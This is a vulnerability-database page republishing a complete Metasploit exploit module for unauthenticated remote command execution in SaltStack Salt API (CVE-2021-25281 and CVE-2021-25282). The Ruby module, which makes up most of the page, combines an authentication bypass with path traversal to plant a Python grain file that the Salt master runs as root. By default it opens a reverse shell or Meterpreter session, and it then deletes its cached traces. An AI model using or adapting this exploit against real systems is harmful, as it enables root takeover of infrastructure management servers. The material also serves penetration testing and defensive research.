Lucene search
K

SaltStack Salt API Unauthenticated Remote Command Execution

🗓️ 01 Apr 2021 00:00:00Reported by Christophe de la FuenteType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 949 Views

SaltStack Salt API Unauthenticated Remote Command Execution. Leverages authentication bypass and directory traversal vulnerabilities to execute commands remotely. Maintained process check vulnerability every 60 seconds

Related
Code
ReporterTitlePublishedViews
Family
0day.today
SaltStack Salt API Unauthenticated Remote Command Execution Exploit
2 Apr 202100:00
zdt
FreeBSD
salt -- multiple vulnerabilities
25 Feb 202100:00
freebsd
ATTACKERKB
CVE-2021-25281
27 Feb 202100:00
attackerkb
AlpineLinux
CVE-2021-25281
27 Feb 202100:00
alpinelinux
AlpineLinux
CVE-2021-25282
27 Feb 202100:00
alpinelinux
ArchLinux
[ASA-202102-33] salt: multiple issues
27 Feb 202100:00
archlinux
GithubExploit
Exploit for Improper Authentication in Saltstack Salt
26 Feb 202112:08
githubexploit
Circl
CVE-2021-25281
26 Feb 202110:46
circl
Circl
CVE-2021-25282
26 Feb 202110:46
circl
CNNVD
Saltstack SaltStack Salt 路径遍历漏洞
26 Feb 202100:00
cnnvd
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'SaltStack Salt API Unauthenticated RCE through wheel_async client',  
'Description' => %q{  
This module leverages an authentication bypass and directory  
traversal vulnerabilities in Saltstack Salt's REST API to execute  
commands remotely on the `master` as the root user.  
  
Every 60 seconds, `salt-master` service performs a maintenance  
process check that reloads and executes all the `grains` on the  
`master`, including custom grain modules in the Extension Module  
directory. So, this module simply creates a Python script at this  
location and waits for it to be executed. The time interval is set to  
60 seconds by default but can be changed in the `master`  
configuration file with the `loop_interval` option. Note that, if an  
administrator executes commands locally on the `master`, the  
maintenance process check will also be performed.  
  
It has been fixed in the following installation packages: 3002.5,  
3001.6 and 3000.8.  
  
Also, a patch is available for the following versions: 3002.2,  
3001.4, 3000.6, 2019.2.8, 2019.2.5, 2018.3.5, 2017.7.8, 2016.11.10,  
2016.11.6, 2016.11.5, 2016.11.3, 2016.3.8, 2016.3.6, 2016.3.4,  
2015.8.13 and 2015.8.10.  
  
This module has been tested successfully against versions 3001.4,  
3002 and 3002.2 on Ubuntu 18.04.  
},  
'Author' => [  
'Alex Seymour', # Original PoC  
'Christophe De La Fuente' # MSF Module  
],  
'References' => [  
['CVE', '2021-25281'], # Auth bypass  
['CVE', '2021-25282'], # Directory traversal  
['URL', 'https://saltproject.io/security_announcements/active-saltstack-cve-release-2021-feb-25/'],  
['URL', 'https://github.com/Immersive-Labs-Sec/CVE-2021-25281/blob/main/cve-2021-25281.py']  
],  
'DisclosureDate' => '2021-02-25',  
'License' => MSF_LICENSE,  
'Platform' => ['unix', 'linux'],  
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],  
'Privileged' => true,  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse'  
}  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :linux_dropper,  
'DefaultOptions' => {  
'CMDSTAGER::FLAVOR' => :bourne,  
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'  
}  
}  
]  
],  
'DefaultTarget' => 1,  
'DefaultOptions' => {  
'WfsDelay' => 90, # The master's maintenance process check cycle is set to 60 sec. by default  
'SSL' => true # Salt API uses HTTPS by default  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS] # Payload visible in log if set to DEBUG or TRACE level  
}  
)  
)  
  
register_options([  
Opt::RPORT(8000),  
OptString.new('TARGETURI', [true, 'Base path', '/']),  
OptString.new(  
'EXTMODSDIR',  
[  
true,  
'The Extension Module Directory ("extmods")',  
'/var/cache/salt/master/extmods'  
]  
)  
])  
end  
  
def check  
fun = 'config.values'  
res = send_request(fun: fun)  
  
unless res  
return CheckCode::Unknown('Target did not respond to check.')  
end  
  
# Server: CherryPy/8.9.1  
unless res.headers['Server']&.match(%r{^CherryPy/[\d.]+$})  
return CheckCode::Unknown('Target does not appear to be running Salt API.')  
end  
  
if res.code == 200 && res.get_json_document['return']  
res_json = res.get_json_document['return'].first  
if res_json&.key?('tag') && res_json&.key?('jid')  
return CheckCode::Detected('Salt API responded as expected.')  
end  
end  
  
CheckCode::Safe('Unexpected Salt API response')  
end  
  
def exploit  
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")  
  
case target['Type']  
when :unix_cmd  
execute_command(payload.encoded)  
when :linux_dropper  
execute_cmdstager(background: true)  
end  
end  
  
def execute_command(cmd, _opts = {})  
vprint_status("Executing command: #{cmd}")  
  
@rand_basename = rand_text_alphanumeric(4..12)  
path = normalize_uri(datastore['EXTMODSDIR'], 'grains', "#{@rand_basename}.py")  
register_file_for_cleanup(path)  
  
cmd.gsub!("'", "\\\\'")  
data = <<~PYTHON  
import subprocess  
def #{rand_text_alpha(6..8)}():  
subprocess.Popen('#{cmd}', shell=True)  
return {}  
PYTHON  
  
send_request(data: data, path: path)  
vprint_status(  
"Waiting up to #{wfs_delay} seconds for the Salt maintenance process check "\  
'to trigger the payload (WfsDelay option).'  
)  
end  
  
def send_request(fun: 'pillar_roots.write', data: '', path: '')  
# https://docs.saltstack.com/en/latest/ref/netapi/all/salt.netapi.rest_cherrypy.html#post--run  
json = {  
'eauth' => 'auto',  
'client' => 'wheel_async',  
'fun' => fun  
}  
json['data'] = data unless data.empty?  
json['path'] = "../../../../../..#{path}" unless path.empty?  
  
send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'run'),  
'ctype' => 'application/json',  
'data' => json.to_json  
)  
end  
  
def path_exists?(session, path, is_dir: false)  
if session.type == 'meterpreter'  
path_exists = begin  
session.fs.file.stat(path)  
rescue StandardError  
nil  
end  
if is_dir  
return !!(path_exists && path_exists.directory?)  
else  
return !!(path_exists && path_exists.file?)  
end  
else  
path_exists = session.shell_command_token(  
"test #{is_dir ? '-d' : '-f'} \"#{path}\" && echo true"  
)  
return !!(path_exists && path_exists =~ /true/)  
end  
end  
  
def on_new_session(session)  
payload_instance.stop_handler  
super  
  
# The Python script is being cached in the "__pycache__" directory as a  
# compiled bytecode file (.pyc). This will need to be deleted to avoid  
# being executed over and over.  
path = normalize_uri(datastore['EXTMODSDIR'], 'grains', '__pycache__')  
if session.type == 'meterpreter'  
session.core.use('stdapi') unless session.ext.aliases.include?('stdapi')  
return unless path_exists?(session, path, is_dir: true)  
  
files = begin  
session.fs.dir.entries(path, "#{@rand_basename}*.pyc")  
rescue StandardError  
[]  
end  
  
files.each do |file|  
file_path = normalize_uri(path, file)  
next unless path_exists?(session, file_path)  
  
session.fs.file.rm(file_path)  
  
if path_exists?(session, file_path)  
print_warning("Unable to delete #{file_path}")  
else  
print_good("Deleted #{file_path}")  
end  
end  
else  
return unless path_exists?(session, path, is_dir: true)  
  
files = session.shell_command_token(  
"find \"#{path}\" -maxdepth 1 -type f -name \"#{@rand_basename}*.pyc\""  
)  
  
files.each_line do |file|  
file.chomp!  
next unless path_exists?(session, file)  
  
session.shell_command_token("rm -f \"#{file}\" >/dev/null")  
  
if path_exists?(session, file)  
print_warning("Unable to delete #{file}")  
else  
print_good("Deleted #{file}")  
end  
end  
end  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Apr 2021 00:00Current
0.5Low risk
Vulners AI Score0.5
EPSS0.93846
949